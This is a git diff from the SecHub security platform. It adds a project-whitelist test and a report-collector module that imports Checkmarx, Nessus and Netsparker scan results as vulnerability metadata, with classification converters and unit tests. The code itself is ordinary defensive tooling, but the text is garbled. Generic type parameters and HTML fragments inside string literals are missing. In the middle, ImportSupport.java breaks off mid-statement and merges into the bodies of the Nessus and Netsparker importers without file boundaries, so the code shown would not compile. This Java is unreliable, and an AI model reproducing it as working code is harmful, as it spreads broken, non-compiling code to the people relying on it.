a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSupportTest.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSupportTest.java new file mode 100644 index 0000000000..7667e0fe3f --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSupportTest.java @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.whitelist; + +import static org.junit.Assert.*; + +import java.net.URI; +import java.util.Arrays; +import java.util.Collections; + +import org.junit.Before; +import org.junit.Test; + +public class ProjectWhiteListSupportTest { + + private ProjectWhiteListSupport validationToTest; + + @Before + public void before() { + validationToTest = new ProjectWhiteListSupport(); + } + + @Test + public void when_no_uri_defined_https_google_de__is_not_valid() throws Exception { + assertFalse(validationToTest.isWhitelisted("https://www.google.de", Collections.emptySet())); + } + + @Test + public void when_uri_https_amazon_com_defined_https_google_de__is_not_valid() throws Exception { + assertFalse(validationToTest.isWhitelisted("https://www.google.de", Arrays.asList(new URI("https://www.amazon.com")))); + } + + @Test + public void when_uri_https_www_google_de_defined_https_www_google_de__is_valid() throws Exception { + assertTrue(validationToTest.isWhitelisted("https://www.google.de", Arrays.asList(new URI("https://www.google.de")))); + } + + @Test + public void when_uri_https_amazon_com_and_https_www_google_de_defined_https_www_google_de__is_not_valid() throws Exception { + assertTrue(validationToTest.isWhitelisted("https://www.google.de", Arrays.asList(new URI("https://www.amazon.com"), new URI("https://www.google.de")))); + } + + @Test + public void when_uri_https_www_google_de_defined_https_www_google_de_slash_nerdytest__is_valid() throws Exception { + assertTrue(validationToTest.isWhitelisted("https://www.google.de/nerdytest", Arrays.asList(new URI("https://www.google.de")))); + } + + @Test + public void when_uri_192_168_1_is_defined_https_192_168_1_1_slash_nerdytest__is_valid() throws Exception { + assertTrue(validationToTest.isWhitelisted("https://192.168.1.1/nerdytest", Arrays.asList(new URI("https://192.168.1.1")))); + } + +} diff --git a/sechub-schedule/src/test/resources/upload/.gitignore b/sechub-schedule/src/test/resources/upload/.gitignore new file mode 100644 index 0000000000..2dac1f917e --- /dev/null +++ b/sechub-schedule/src/test/resources/upload/.gitignore @@ -0,0 +1 @@ +!*.zip \ No newline at end of file diff --git a/sechub-schedule/src/test/resources/upload/zipfile_contains_only_test1.txt.zip b/sechub-schedule/src/test/resources/upload/zipfile_contains_only_test1.txt.zip new file mode 100644 index 0000000000..f617d9a44e Binary files /dev/null and b/sechub-schedule/src/test/resources/upload/zipfile_contains_only_test1.txt.zip differ diff --git a/sechub-sereco/build.gradle b/sechub-sereco/build.gradle new file mode 100644 index 0000000000..177f4aa006 --- /dev/null +++ b/sechub-sereco/build.gradle @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + testCompile project(':sechub-testframework') + +} + diff --git a/sechub-sereco/src/main/java/com/daimler/sechub/sereco/ImportParameter.java b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/ImportParameter.java new file mode 100644 index 0000000000..20ec0a54aa --- /dev/null +++ b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/ImportParameter.java @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco; + +public class ImportParameter { + private String productId; + private String importData; + private String importId; + + public static ImportParamBuilder builder() { + return new ImportParamBuilder(); + } + + public String getProductId() { + return productId; + } + + public String getImportData() { + return importData; + } + + public String getImportId() { + return importId; + } + + /** + * Builder for input paramters + * @author Albert Tregnaghi + * + */ + public static class ImportParamBuilder { + + private ImportParameter param; + + private ImportParamBuilder() { + clear(); + } + + private void clear() { + this.param = new ImportParameter(); + } + + public ImportParamBuilder productId(String productId) { + param.productId = productId; + return this; + } + + public ImportParamBuilder importData(String importData) { + param.importData = importData; + return this; + } + + public ImportParamBuilder importId(String importId) { + param.importId = importId; + return this; + } + + public ImportParameter build() { + ImportParameter result = param; + clear(); + return result; + } + + } +} \ No newline at end of file diff --git a/sechub-sereco/src/main/java/com/daimler/sechub/sereco/Sereco.java b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/Sereco.java new file mode 100644 index 0000000000..fac53ced23 --- /dev/null +++ b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/Sereco.java @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco; + +import org.springframework.beans.factory.annotation.Lookup; +import org.springframework.stereotype.Component; + +/** + * Sereco is a short name for "Sechub Report Collector". This is the main class + * @author Albert Tregnaghi + * + */ +@Component +public class Sereco { + + @Lookup + // create always new instances by container + // ---------------------------------------- + // dony by workspace is component with scope prototype + // lookup will let the creation be at container side + // will use constructor with string argument... + // + // also see https://www.baeldung.com/spring-inject-prototype-bean-into-singleton + public Workspace createWorkspace(String projectId) { + return null; + } + +} diff --git a/sechub-sereco/src/main/java/com/daimler/sechub/sereco/Workspace.java b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/Workspace.java new file mode 100644 index 0000000000..d48b258fcb --- /dev/null +++ b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/Workspace.java @@ -0,0 +1,114 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco; + +import java.io.IOException; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.config.ConfigurableBeanFactory; +import org.springframework.context.annotation.Scope; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.sereco.importer.ProductFailureMetaDataBuilder; +import com.daimler.sechub.sereco.importer.ProductImportAbility; +import com.daimler.sechub.sereco.importer.ProductResultImporter; +import com.daimler.sechub.sereco.metadata.MetaData; +import com.daimler.sechub.sereco.metadata.Vulnerability; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; + +@Component +@Scope(value = ConfigurableBeanFactory.SCOPE_PROTOTYPE) +public class Workspace { + + private static final Logger LOG = LoggerFactory.getLogger(Workspace.class); + + private MetaData workspaceMetaData = new MetaData(); + + @Autowired + private List importers; + + private String id; + + public List getVulnerabilties() { + return workspaceMetaData.getVulnerabilities(); + } + + public Workspace(String id) { + this.id=id; + } + + public String getId() { + return id; + } + + public void doImport(ImportParameter param) throws IOException { + if (param == null) { + throw new IllegalArgumentException("param may not be null!"); + } + if (param.getImportData() == null) { + LOG.error("Import data was null for docId:{}, so unable to import.", param.getImportId()); + return; + } + if (param.getImportId() == null) { + LOG.error("Import data was not null, but importId was not set, so unable to import."); + return; + } + boolean atLeastOneImporterWasAbleToImport = false; + for (ProductResultImporter importer : importers) { + ProductImportAbility ableToImportForProduct = importer.isAbleToImportForProduct(param); + if (ProductImportAbility.PRODUCT_FAILED.equals(ableToImportForProduct)) { + /* means the importer would be able to import, but it is sure that the product failed, + * so we add just a critical finding for the product itself + */ + ProductFailureMetaDataBuilder builder = new ProductFailureMetaDataBuilder(); + MetaData metaData = builder.forParam(param).build(); + mergeWithWorkspaceData(metaData); + atLeastOneImporterWasAbleToImport=true; + break; + } + if (ProductImportAbility.ABLE_TO_IMPORT.equals(ableToImportForProduct)) { + MetaData metaData = importer.importResult(param.getImportData()); + if (metaData == null) { + LOG.error("Meta data was null for product={}, importer={}, importId={}", param.getProductId(), + importer.getClass().getSimpleName(), param.getImportId()); + return; + } + mergeWithWorkspaceData(metaData); + atLeastOneImporterWasAbleToImport = true; + } + } + if (!atLeastOneImporterWasAbleToImport) { + StringBuilder importerNames = new StringBuilder(); + importerNames.append("["); + for (ProductResultImporter importer : importers) { + importerNames.append(importer.getClass().getSimpleName()); + importerNames.append(" "); + } + importerNames.append("]"); + + LOG.error( + "For meta data from product={} with importId={} no importers was able to import it! Importers used ={}", + param.getProductId(), param.getImportId(), importerNames); + throw new IOException( + "Import failed, no importer was able to import product result: " + param.getProductId()); + } + + } + + private void mergeWithWorkspaceData(MetaData metaData) { + /* currently a very simple,stupid approach: */ + this.workspaceMetaData.getVulnerabilities().addAll(metaData.getVulnerabilities()); + } + + public String createReport() { + try { + return new ObjectMapper().writeValueAsString(workspaceMetaData); + } catch (JsonProcessingException e) { + throw new IllegalStateException("Was not able to write report as json", e); + } + } + +} diff --git a/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/AbstractProductResultImporter.java b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/AbstractProductResultImporter.java new file mode 100644 index 0000000000..be6a9e320d --- /dev/null +++ b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/AbstractProductResultImporter.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.importer; + +import com.daimler.sechub.sereco.ImportParameter; + +public abstract class AbstractProductResultImporter implements ProductResultImporter{ + + private ImportSupport importSupport; + + public AbstractProductResultImporter() { + this.importSupport=createImportSupport(); + } + + protected abstract ImportSupport createImportSupport(); + + protected ImportSupport getImportSupport() { + return importSupport; + } + + public final ProductImportAbility isAbleToImportForProduct(ImportParameter param) { + return importSupport.isAbleToImport(param); + } +} diff --git a/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java new file mode 100644 index 0000000000..2fdf74f770 --- /dev/null +++ b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java @@ -0,0 +1,148 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.importer; + +import org.springframework.util.StringUtils; + +import com.daimler.sechub.sereco.metadata.Classification; + +public class CheckmarxCategoriesToClassificationConverter { + + public Classification convert(String categories, Classification classification) { + if (categories==null || categories.isEmpty()) { + return classification; + } + + //Examples: + //OWASP Top 10 2013;A7-Missing Function Level Access Control,OWASP Top 10 2017;A5-Broken Access Control + //PCI DSS v3.2;PCI DSS (3.2) - 6.5.8 - Improper access control,OWASP Top 10 2013;A4-Insecure Direct Object References,OWASP Top 10 2017;A5-Broken Access Control + String[] splitted = categories.split(","); + for (String split: splitted) { + inspect(split,classification); + + } + return classification; + } + + private void inspect(String split, Classification classification) { + if (split==null || split.isEmpty()) { + return; + } + /* e.g. "PCI DSS v3.2;PCI DSS (3.2) - 6.5.8 - Improper access control"*/ + String[] keyValue = StringUtils.split(split, ";"); + if (keyValue==null || keyValue.length<2) { + return; + } + String key= keyValue[0].toUpperCase(); + String value = keyValue[1]; + if (key==null) { + return; + } + if (value==null) { + return; + } + handleOWASP(key,value,classification); + handlePCI(key,value, classification); + handleFISMA(key,value,classification); + handleNIST(key,value,classification); + } + + private void handleFISMA(String key, String value, Classification classification) { + // "FISMA 2014;Identification And Authentication,NIST SP 800-53;AC-3 Access Enforcement (P1) + if (! key.contains("FISMA")) { + return; + } + classification.setFisma(fetchFISMAIdentifier(value)); + } + + private String fetchFISMAIdentifier(String number) { + if (number==null) { + return""; + } + return number; + } + + private void handleNIST(String key, String value, Classification classification) { + // "FISMA 2014;Identification And Authentication,NIST SP 800-53;AC-3 Access Enforcement (P1) + if (! key.contains("NIST")) { + return; + } + classification.setNist(fetchNISTIdentifier(value)); + } + + private String fetchNISTIdentifier(String number) { + // "FISMA 2014;Identification And Authentication,NIST SP 800-53;AC-3 Access Enforcement (P1) + if (number==null) { + return""; + } + int index = number.indexOf(' '); + if (index<0) { + /* when only AC-3 */ + return number; + } + return number.substring(0, index); + } + + private void handleOWASP(String key, String value, Classification classification) { + /* e.g. OWASP Top 10 2013;A7-Missing Function Level Access Control */ + if (! key.contains("OWASP")) { + return; + } + /* if there are multiple values from owasp we just use the last one - checkmarx does order them newest last...*/ + classification.setOwasp(fetchOWASPIdentifier(value)); + } + + private String fetchOWASPIdentifier(String number) { + if (number==null) { + return""; + } + int index = number.indexOf('-'); + if (index<0) { + /* when only A5 */ + return number; + } + return number.substring(0, index); + + } + + private void handlePCI(String key, String value, Classification classification) { + /* e.g. "PCI DSS v3.2;PCI DSS (3.2) - 6.5.8 - Improper access control" */ + if (! key.contains("PCI")) { + return; + } + handlePCI31(key, value, classification); + handlePCI32(key, value, classification); + + } + + private String fetchPCINumber(String number) { + if (number==null) { + return""; + } + int index = number.indexOf('-'); + if (index==-1) { + return ""; + } + int nextIndex = number.indexOf('-', index+1); + if (nextIndex==-1) { + return ""; + } + return number.substring(index+1, nextIndex).trim(); + + } + + private void handlePCI31(String key, String value, Classification classification) { + if (key.indexOf("V3.1") == -1) { + return; + } + classification.setPci31(fetchPCINumber(value)); + } + + private void handlePCI32(String key, String value, Classification classification) { + if (key.indexOf("V3.2") == -1) { + return; + } + classification.setPci32(fetchPCINumber(value)); + + } + +} diff --git a/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/CheckmarxV1XMLImporter.java b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/CheckmarxV1XMLImporter.java new file mode 100644 index 0000000000..bd5a38266c --- /dev/null +++ b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/CheckmarxV1XMLImporter.java @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.importer; + +import java.io.IOException; +import java.util.List; +import java.util.regex.Pattern; + +import org.dom4j.Document; +import org.dom4j.DocumentException; +import org.dom4j.DocumentHelper; +import org.dom4j.Element; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.sereco.metadata.MetaData; +import com.daimler.sechub.sereco.metadata.Severity; +import com.daimler.sechub.sereco.metadata.Vulnerability; + +@Component +public class CheckmarxV1XMLImporter extends AbstractProductResultImporter { + + + private static final Logger LOG = LoggerFactory.getLogger(CheckmarxV1XMLImporter.class); + + private static final Pattern NAME_PATTERN = Pattern.compile("_"); + + @SuppressWarnings("unchecked") + public MetaData importResult(String xml) throws IOException { + if (xml == null) { + xml = ""; + } + Document document; + try { + document = DocumentHelper.parseText(xml); + } catch (DocumentException e) { + throw new IOException("Import cannot parse xml", e); + } + + MetaData metaData = new MetaData(); + Element checkmarxCxXMLResults = document.getRootElement(); + List queryElements = checkmarxCxXMLResults.elements("Query"); + + for (Element queryElement : queryElements) { + + String name = queryElement.attributeValue("name"); + String type = NAME_PATTERN.matcher(name).replaceAll(" "); + String categories = queryElement.attributeValue("categories"); + String cweId = queryElement.attributeValue("cweId"); + + List resultElements = queryElement.elements("Result"); + for (Element resultElement : resultElements) { + + String falsePositive = resultElement.attributeValue("FalsePositive"); + if (Boolean.parseBoolean(falsePositive)) { + String nodeId=resultElement.attributeValue("NodeId"); + LOG.debug("Ignored marked false positive for NodeId:{}",nodeId); + continue; + } + String deeplink = resultElement.attributeValue("DeepLink"); + String severity = resultElement.attributeValue("Severity"); + String fileName = resultElement.attributeValue("FileName"); + String line = resultElement.attributeValue("Line"); + String column = resultElement.attributeValue("Column"); + + Vulnerability vulnerability = new Vulnerability(); + vulnerability.setType(type); + + if ("Information".equalsIgnoreCase(severity)) { + severity = "info"; + } + vulnerability.setSeverity(Severity.fromString(severity)); + + StringBuilder sb = new StringBuilder(); + sb.append("\n
    Location:").append(fileName).append(" - line:").append(line).append(", column:") + .append(column); + sb.append("\\n
    For details look at Full result"); + vulnerability.setDescription(sb.toString()); + vulnerability.getClassification().setCwe(cweId); + new CheckmarxCategoriesToClassificationConverter().convert(categories, + vulnerability.getClassification()); + metaData.getVulnerabilities().add(vulnerability); + } + } + return metaData; + } + + @Override + protected ImportSupport createImportSupport() { + /* @formatter:off */ + return ImportSupport. + builder(). + productId("Checkmarx"). + contentIdentifiedBy("CxXMLResults"). + mustBeXML(). + build(); + /* @formatter:on */ + } +} diff --git a/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/ImportSupport.java b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/ImportSupport.java new file mode 100644 index 0000000000..e32f33695e --- /dev/null +++ b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/importer/ImportSupport.java @@ -0,0 +1,175 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.importer; + +import com.daimler.sechub.sereco.ImportParameter; + +/** + * Support to check if an importer can handle JSON or XML content. It simply + * checks if content contains one wellknown part + * + * @author Albert Tregnaghi + * + */ +public class ImportSupport { + + private static final char BOM = 65279; + + private String productId; + + private String contentIdentifier; + + private boolean checkXML; + + private boolean checkJSON; + + /** + * Create support + * + * @param productIdParts + * - the parts to identify the productId + */ + private ImportSupport() { + } + + public static ImportSupportBuilder builder() { + return new ImportSupportBuilder(); + } + + public static class ImportSupportBuilder { + String productId; + String contentIdentifier; + + private boolean checkXML; + + private boolean checkJSON; + + private ImportSupportBuilder() { + + } + + public ImportSupportBuilder productId(String productId) { + if (productId == null) { + this.productId = null; + } else { + this.productId = productId.toLowerCase(); + } + return this; + } + + public ImportSupportBuilder contentIdentifiedBy(String contentIdentifier) { + this.contentIdentifier = contentIdentifier; + return this; + } + + public ImportSupportBuilder mustBeXML() { + this.checkXML = true; + return this; + } + + public ImportSupportBuilder mustBeJSON() { + this.checkJSON = true; + return this; + } + + public ImportSupport build() { + validate(); + ImportSupport support = new ImportSupport(); + + support.checkJSON = checkJSON; + support.checkXML = checkXML; + support.contentIdentifier = contentIdentifier; + support.productId = productId; + + return support; + } + + private void validate() { + if (checkJSON && checkXML) { + throw new IllegalStateException("You have defined xml and JSON - this makes no sense!"); + } + } + } + + /** + * Checks if the given import parameter can be imported or not + * @param parameter + * @return + */ + public ProductImportAbility isAbleToImport(ImportParameter parameter) { + if (!isProductIdentified(parameter.getProductId())) { + return ProductImportAbility.NOT_ABLE_TO_IMPORT; + } + if (isEmpty(parameter.getImportData())) { + return ProductImportAbility.PRODUCT_FAILED; + } + if (!isContentIdentified(parameter.getImportData())) { + return ProductImportAbility.NOT_ABLE_TO_IMPORT; + } + if (checkXML && !isXML(parameter.getImportData())) { + return ProductImportAbility.NOT_ABLE_TO_IMPORT; + } + if (checkJSON && !isJSON(parameter.getImportData())) { + return ProductImportAbility.NOT_ABLE_TO_IMPORT; + } + return ProductImportAbility.ABLE_TO_IMPORT; + + } + + private boolean isProductIdentified(String productId) { + if (this.productId == null) { + return true; // when not set we accept all + } + if (productId == null) { + return false; + } + String lowerCased = productId.trim().toLowerCase(); + return lowerCased.equals(this.productId); + } + + private boolean isContentIdentified(String content) { + if (content == null) { + return false; + } + if (contentIdentifier == null) { + return true; /* always.. */ + } + return content.contains(contentIdentifier); + } + + boolean isEmpty(String data) { + if (data==null) { + return true; + } + if (data.length()==0) { + return true; + } + return false; + } + + boolean isJSON(String data) { + return createSubStringWithoutBOMandLowercased(data, 1).startsWith("{"); + } + + boolean isXML(String data) { + return createSubStringWithoutBOMandLowercased(data, 5).startsWith(" reportItems = reportHost.elements("ReportItem"); + + for (Element reportItem : reportItems) { + String name = reportItem.attributeValue("svc_name"); + String type = NAME_PATTERN.matcher(name).replaceAll(" "); + String output = reportItem.elementText("plugin_output"); + + Vulnerability vulnerability = new Vulnerability(); + Severity severity = null; + int severityLevel = Integer.parseInt(reportItem.attributeValue("severity")); + if (severityLevel == 0) { + severity = Severity.INFO; + }else if (severityLevel==1) { + severity = Severity.LOW; + }else if (severityLevel==2){ + severity = Severity.MEDIUM; + }else { + severity = Severity.MEDIUM; + } + vulnerability.setSeverity(severity); + vulnerability.setType(type); + vulnerability.setDescription(output); + metaData.getVulnerabilities().add(vulnerability); + } + return metaData; + } + + @Override + protected ImportSupport createImportSupport() { + /* @formatter:off */ + return ImportSupport. + builder(). + productId("Nessus"). + mustBeXML(). + contentIdentifiedBy(" it = vulnerabilitiesElement.elementIterator(); + while (it.hasNext()) { + Element vulnerabilityElement = it.next(); + Vulnerability vulnerability = new Vulnerability(); + metaData.getVulnerabilities().add(vulnerability); + + vulnerability.setSeverity(NetsparkerServerityConverter.convert(vulnerabilityElement.elementText("severity"))); + vulnerability.setUrl(vulnerabilityElement.elementText("url")); + vulnerability.setType(vulnerabilityElement.elementText("type")); + vulnerability.setDescription(vulnerabilityElement.elementText("description")); + + Element classificationElement = vulnerabilityElement.element("classification"); + if (classificationElement==null) { + throw new IllegalStateException("no classificaton element found!"); + } + Classification classification = vulnerability.getClassification(); + classification.setOwasp(classificationElement.elementText("owasp")); + classification.setWasc(classificationElement.elementText("wasc")); + classification.setCwe(classificationElement.elementText("cwe")); + classification.setCapec(classificationElement.elementText("capec")); + classification.setPci31(classificationElement.elementText("pci31")); + classification.setPci32(classificationElement.elementText("pci32")); + classification.setHipaa(classificationElement.elementText("hipaa")); + classification.setOwaspProactiveControls(classificationElement.elementText("owasppc")); + } + return metaData; + } + + @Override + protected ImportSupport createImportSupport() { + /* @formatter:off */ + return ImportSupport. + builder(). + productId("Netsparker"). + mustBeXML(). + contentIdentifiedBy(" vulnerabilities = new ArrayList<>(); + + public List getVulnerabilities() { + return vulnerabilities; + } + +} diff --git a/sechub-sereco/src/main/java/com/daimler/sechub/sereco/metadata/Severity.java b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/metadata/Severity.java new file mode 100644 index 0000000000..faa74183b3 --- /dev/null +++ b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/metadata/Severity.java @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.metadata; + +public enum Severity { + + INFO, // like faraday: info + + UNCLASSIFIED, // like faraday: unclassfiied + + LOW, // like faraday: low + + MEDIUM, // like faraday: low + + HIGH, // like faraday: high + + CRITICAL,; + + /** + * Returns severity or null for given string. + * @param string value of the enumeration (is not case sensitive) + * @return + */ + public static Severity fromString(String string) { + if (string==null) { + return null; + } + String upperCased=string.toUpperCase(); + for (Severity severity: Severity.values()) { + if (severity.name().equals(upperCased)) { + return severity; + } + } + return null; + } + +} diff --git a/sechub-sereco/src/main/java/com/daimler/sechub/sereco/metadata/Vulnerability.java b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/metadata/Vulnerability.java new file mode 100644 index 0000000000..4e4d3a2f2a --- /dev/null +++ b/sechub-sereco/src/main/java/com/daimler/sechub/sereco/metadata/Vulnerability.java @@ -0,0 +1,146 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.metadata; + +import java.util.ArrayList; +import java.util.List; + +public class Vulnerability { + + private String url; + private String type; + private Severity severity; + private List list; + private String description=""; + Classification classification; + + public Vulnerability() { + url =""; + type = ""; + severity = Severity.UNCLASSIFIED; + list = new ArrayList<>(); + description=""; + classification = new Classification(); + } + + /** + * Only for tests + * @param url + * @param type + * @param severity + * @param list + * @param description + * @param classification + */ + Vulnerability(String url, String type, Severity severity, List list, String description, Classification classification) { + super(); + this.url = url; + this.type = type; + this.severity = severity; + this.list = list; + this.description = description; + this.classification = classification; + } + + + public String getDescription() { + return description; + } + + public Classification getClassification() { + return classification; + } + + public void setDescription(String description) { + this.description = description; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public Severity getSeverity() { + return severity; + } + + public void setSeverity(Severity severity) { + this.severity = severity; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + @Override + public String toString() { + return "Vulnerability [url=" + url + ", type=" + type + ", severity=" + severity + ", list=" + list + + ", description=" + description + ", classification=" + classification + "]"; + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((classification == null) ? 0 : classification.hashCode()); + result = prime * result + ((description == null) ? 0 : description.hashCode()); + result = prime * result + ((list == null) ? 0 : list.hashCode()); + result = prime * result + ((severity == null) ? 0 : severity.hashCode()); + result = prime * result + ((type == null) ? 0 : type.hashCode()); + result = prime * result + ((url == null) ? 0 : url.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + Vulnerability other = (Vulnerability) obj; + if (classification == null) { + if (other.classification != null) + return false; + } else if (!classification.equals(other.classification)) + return false; + if (description == null) { + if (other.description != null) + return false; + } else if (!description.equals(other.description)) + return false; + if (list == null) { + if (other.list != null) + return false; + } else if (!list.equals(other.list)) + return false; + if (severity != other.severity) + return false; + if (type == null) { + if (other.type != null) + return false; + } else if (!type.equals(other.type)) + return false; + if (url == null) { + if (other.url != null) + return false; + } else if (!url.equals(other.url)) + return false; + return true; + } +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverterTest.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverterTest.java new file mode 100644 index 0000000000..34ec496b5e --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverterTest.java @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.importer; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.sereco.metadata.Classification; + +public class CheckmarxCategoriesToClassificationConverterTest { + + private CheckmarxCategoriesToClassificationConverter converterToTest; + + @Before + public void before() { + converterToTest= new CheckmarxCategoriesToClassificationConverter(); + } + + @Test + public void convertNullOnNullClassification() { + assertNull(converterToTest.convert(null, null)); + } + + @Test + public void convertNullReturnsClassification() { + assertNotNull(converterToTest.convert(null,new Classification())); + } + + + @Test + public void classification_empty_values() { + Classification classification = converterToTest.convert(";,;,;",new Classification()); + assertEquals("",classification.getOwasp()); + assertEquals("",classification.getPci31()); + assertEquals("",classification.getPci32()); + + } + @Test + public void classification_example1() { + /* execute */ + Classification classification = converterToTest.convert("PCI DSS v3.2;PCI DSS (3.2) - 6.5.8 - Improper access control,OWASP Top 10 2013;A4-Insecure Direct Object References,OWASP Top 10 2017;A5-Broken Access Control",new Classification()); + + assertEquals("6.5.8", classification.getPci32()); + assertEquals("A5", classification.getOwasp()); /* must be latest , so 2017 */ + + + } + @Test + public void classification_example2() { + /* execute */ + Classification classification = converterToTest.convert("FISMA 2014;Identification And Authentication,NIST SP 800-53;AC-3 Access Enforcement (P1)",new Classification()); + + assertEquals("Identification And Authentication", classification.getFisma()); + assertEquals("AC-3", classification.getNist()); + + + } + +} diff --git a/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/CheckmarxV1XMLImporterTest.java b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/CheckmarxV1XMLImporterTest.java new file mode 100644 index 0000000000..8d0a4bd06e --- /dev/null +++ b/sechub-sereco/src/test/java/com/daimler/sechub/sereco/importer/CheckmarxV1XMLImporterTest.java @@ -0,0 +1,97 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sereco.importer; + +import static com.daimler.sechub.sereco.test.AssertVulnerabilities.*; +import static org.junit.Assert.*; + +import java.io.IOException; +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.sereco.ImportParameter; +import com.daimler.sechub.sereco.metadata.Classification; +import com.daimler.sechub.sereco.metadata.MetaData; +import com.daimler.sechub.sereco.metadata.Severity; +import com.daimler.sechub.sereco.metadata.Vulnerability; +import com.daimler.sechub.sereco.test.SerecoTestFileSupport; +public class CheckmarxV1XMLImporterTest { + + private CheckmarxV1XMLImporter importerToTest; + + @Before + public void before() { + importerToTest = new CheckmarxV1XMLImporter(); + } + + @Test + public void xmlReportFromCheckmarxV8canBeImported() { + /* prepare */ + String xml = SerecoTestFileSupport.INSTANCE.loadTestFile("checkmarx/sechub-continous-integration.xml"); + + ImportParameter param = ImportParameter.builder().importData(xml).importId("id1").productId("Checkmarx").build(); + + /* execute */ + ProductImportAbility ableToImport = importerToTest.isAbleToImportForProduct(param); + + /*test */ + assertEquals("Was not able to import xml!",ProductImportAbility.ABLE_TO_IMPORT,ableToImport); + } + + @Test + public void xmlReportFromCheckmarxV8_with_false_positve_canBeImported_and_contains_not_false_positive() throws IOException { + /* prepare */ + String xml = SerecoTestFileSupport.INSTANCE.loadTestFile("checkmarx/sechub-continous-integration-with-false-positive.xml"); + + /* execute */ + MetaData data = importerToTest.importResult(xml); + + /* test @formatter:off */ + assertVulnerabilities(data.getVulnerabilities()). + vulnerability().withSeverity(Severity.HIGH).isNotContained(). /* ONE is high but false positive*/ + hasVulnerabilities(230); /* inside xml there are 240 vulnerabilities, but 10 are false positives */ + /* @formatter:on */ + } + + @Test + public void load_example1_contains_expected_data() throws IOException { + /* prepare */ + String xml = SerecoTestFileSupport.INSTANCE.loadTestFileFromRoot("sechub-other/testoutput/checkmarx-example1.xml"); + + /* execute */ + MetaData data = importerToTest.importResult(xml); + + /* test */ + List vulnerabilities = data.getVulnerabilities(); + + assertEquals(109, vulnerabilities.size()); + + Vulnerability v1 = vulnerabilities.get(0); + assertEquals(Severity.MEDIUM,v1.getSeverity()); + Classification classification = v1.getClassification(); + assertEquals("A5",classification.getOwasp()); + assertEquals("6.5.8",classification.getPci32()); + assertEquals("",classification.getPci31()); + + Vulnerability v100 = vulnerabilities.get(99); + assertEquals(Severity.LOW,v100.getSeverity()); + classification = v100.getClassification(); + assertEquals("",classification.getPci32()); + assertEquals("",classification.getOwasp()); + assertEquals("AC-3",classification.getNist()); + assertEquals("Identification And Authentication",classification.getFisma()); + + Vulnerability v109 = vulnerabilities.get(108); + assertEquals(Severity.INFO,v109.getSeverity()); + classification = v109.getClassification(); + assertEquals("",classification.getOwasp()); + assertEquals("",classification.getPci32()); + assertEquals("",classification.getNist()); + assertEquals("",classification.getFisma()); + assertEquals("778",classification.getCwe()); + + assertEquals("Insufficient Logging of 